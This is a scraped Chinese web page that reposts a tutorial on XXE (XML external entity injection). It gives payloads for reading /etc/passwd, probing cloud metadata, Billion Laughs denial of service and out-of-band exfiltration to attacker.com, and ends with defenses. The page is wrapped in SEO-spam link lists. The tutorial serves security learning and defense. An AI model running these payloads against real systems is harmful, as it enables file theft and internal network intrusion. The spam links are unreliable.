当前位置: 首页 > wzjs >正文

松江网站开发培训学校个人域名推荐

松江网站开发培训学校,个人域名推荐,wordpress 页面位置,wordpress打开页面慢一、XXE漏洞概述 1. 定义 XXE(XML External Entity Injection)即 XML外部实体注入漏洞,攻击者通过构造恶意XML数据,利用XML解析器的外部实体加载功能,实现 文件读取、内网探测、拒绝服务(DoS)…

一、XXE漏洞概述

1. 定义

XXE(XML External Entity Injection)即 XML外部实体注入漏洞,攻击者通过构造恶意XML数据,利用XML解析器的外部实体加载功能,实现 文件读取、内网探测、拒绝服务(DoS) 等攻击。

2. 危害
  • 敏感文件读取:读取服务器上的 /etc/passwdC:\Windows\win.ini 等文件。

  • SSRF(服务端请求伪造):探测内网服务(如Redis、MySQL)或攻击云服务器元数据接口(如AWS的 169.254.169.254)。

  • 拒绝服务:通过递归实体(Billion Laughs攻击)耗尽服务器资源。

3. 常见场景
  • XML文件上传:如文档转换、数据导入功能。

  • Web Services(SOAP/XML-RPC):基于XML的API接口。

  • Office文件解析:DOCX、XLSX等格式解压后包含XML文件。


二、XML基础知识

1. XML结构

xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY entity_name "entity_value">
]>
<root><element>&entity_name;</element>
</root>
2. 实体类型
  • 普通实体:仅用于XML文档内部引用。

    xml

    <!ENTITY name "value">
  • 外部实体:引用外部资源(文件、URL)。

    xml

    <!ENTITY ext_file SYSTEM "file:///etc/passwd"> <!ENTITY ext_url SYSTEM "http://attacker.com/evil.dtd">

  • 参数实体(需在DTD中使用):

    xml

    <!ENTITY % param_entity "evil_content">

三、XXE漏洞利用方法

1. 基础文件读取

Payload示例

xml

<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

利用条件

  • XML解析器启用外部实体(默认开启)。

  • 响应中回显实体内容(或通过报错/延时判断)。

2. SSRF攻击(探测内网)

Payload示例

xml

<!DOCTYPE data [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&xxe;</data>

利用场景

  • 云服务器元数据泄露(AWS、阿里云)。

  • 内网服务指纹识别(如Redis的 +PONG 响应)。

3. 盲注XXE(无回显利用)

步骤

  1. 触发带外请求(OOB)

    xml

    <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
    %dtd;
  2. evil.dtd内容

    xml

    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
    %eval;
    %exfil;
  3. 攻击者服务器:捕获data参数中的文件内容。

4. 拒绝服务攻击(Billion Laughs)

Payload示例

xml

<!DOCTYPE data [<!ENTITY lol "lol"><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!-- 递归定义更多实体 -->
]>
<data>&lol9;</data>

效果:引发XML解析器内存耗尽,导致服务崩溃。


四、不同语言/库的XXE差异

语言/库默认是否允许外部实体禁用方法
PHP (libxml)默认禁用(≥8.0)libxml_disable_entity_loader(true)
Java (DOM)默认启用设置 DocumentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)
Python lxml默认禁用显式禁用 resolve_entities=False
.NET默认启用XmlReaderSettings.DtdProcessing = Prohibit

五、绕过技巧与高级利用

1. 协议扩展
  • PHP的expect协议(需安装扩展):

    xml

    <!ENTITY xxe SYSTEM "expect://id">
  • Java的jar协议

    xml

    <!ENTITY xxe SYSTEM "jar:http://attacker.com/evil.jar!/file.txt">
2. 编码绕过
  • UTF-7编码

    xml

    <?xml version="1.0" encoding="UTF-7"?>
    +ADwAIQ-DOCTYPE data+AFs +ADwAIQ-ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI +AD4AXQA+
3. 嵌套外部DTD

xml

<!DOCTYPE data SYSTEM "http://attacker.com/evil.dtd">

evil.dtd内容

xml

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

六、漏洞检测方法

1. 手动检测
  • 修改Content-Type:将请求的 Content-Type 改为 application/xml,插入测试实体。

  • Payload测试

    xml

    <?xml version="1.0"?>
    <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    <root>&xxe;</root>
2. 工具检测
  • Burp Suite插件

    • XML External Entity Injector:自动生成XXE Payload。

    • Collaborator Everywhere:检测盲注XXE的带外请求。

  • 命令行工具

    bash

    xxer --url http://target.com/api --data '<xml>...</xml>' --oob-server attacker.com

七、防御方案

1. 禁用外部实体
  • PHP

    libxml_disable_entity_loader(true);
  • Java

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
2. 使用安全解析器
  • 选择默认禁用DTD的库(如Python的 defusedxml)。

  • 配置XML解析器为不解析实体:

    python

    from lxml import etree
    parser = etree.XMLParser(resolve_entities=False)
3. 输入过滤与白名单
  • 过滤XML中的 <!DOCTYPE<!ENTITY 关键字。

  • 使用JSON替代XML(若业务允许)。

4. WAF规则
  • 拦截包含 SYSTEMfile://http:// 的请求。


文章转载自:

http://bpo4J4uY.qxpcq.cn
http://WG9AOqNd.qxpcq.cn
http://0aH7IgVP.qxpcq.cn
http://CJWOUPZu.qxpcq.cn
http://eYnrJkpz.qxpcq.cn
http://G8x5wqyl.qxpcq.cn
http://mDcIoUvb.qxpcq.cn
http://N04CGY3y.qxpcq.cn
http://f4p2xzNv.qxpcq.cn
http://hTt6aM9N.qxpcq.cn
http://fDEUc5XY.qxpcq.cn
http://pyPv8F9T.qxpcq.cn
http://9qtJKBam.qxpcq.cn
http://BN7ztlwZ.qxpcq.cn
http://AivR4cKo.qxpcq.cn
http://LOICnSgY.qxpcq.cn
http://MRRzd8kj.qxpcq.cn
http://0uz8FFXs.qxpcq.cn
http://MGbfZFMM.qxpcq.cn
http://qtj0jbnH.qxpcq.cn
http://Qd3oqI6u.qxpcq.cn
http://vm4mMMYv.qxpcq.cn
http://VrEXg7Ei.qxpcq.cn
http://sJU7FkFE.qxpcq.cn
http://BqKY8eHx.qxpcq.cn
http://TvHJvniu.qxpcq.cn
http://Xz5b6l1N.qxpcq.cn
http://e0Dv8RqX.qxpcq.cn
http://UIAEfMZr.qxpcq.cn
http://zo25oQrF.qxpcq.cn
http://www.dtcms.com/wzjs/742246.html

相关文章:

  • 个人网页设计模板网站wordpress视频列表
  • 深圳网站导航济南网站设计建设
  • 企业网站建设合同范本免费泰安电视台在线直播
  • 十堰秦楚网 十堰新闻门户网站WordPress允许用户修改评论
  • 便宜的网站制作nginx wordpress配置静态化
  • 大连专业零基础网站建设教学培训宜春网站建设公司联系方式
  • 建筑局网站广西柳州做网站
  • 做一个企业网站需要哪些技术网站图片上传不了怎么办
  • 唐山网站建设那家性价比高营销型企业网站系统模板下载
  • 没有域名怎么访问网站wordpress download文件
  • 猪八戒网做网站百度竞价sem
  • 1688做网站多少钱123邢台招聘信息网
  • 东莞建英文网站的公司防城港北京网站建设
  • 网站设计制作平台哪个好wordpress评论通知代码
  • 移动互联与网站开发wordpress手机版设置密码
  • 网站上面图片上传尺寸wordpress 投稿审核
  • 视频作为网站背景网站建设与运营答案
  • 建设职业注册中心网站h5在哪里制作
  • 网站流量平台9块9 wordpress
  • 关于网站开发的创业计划书招商网代理
  • 济南公司建设网站电商型网站是否是趋势
  • 网站首页菜单栏模块怎么做的网站配色方案橙色
  • 仿京东网站网站上面的小图标怎么做的
  • 网站建设华网天下制作作一般ppt模板都会发不到什么网站
  • 网站建设精准精细快速微信公众平台申请入口
  • 龙岗网站建设需要考量些什么怎么做彩票网站平台
  • ip做网站需要过白名单吗网络营销技巧培训
  • 西安网站建设ruiqinet毕节做网站
  • 攀枝花网站网站建设网站设计O2O平台佛山总代理
  • 太原微网站建设谁家好php编程用什么软件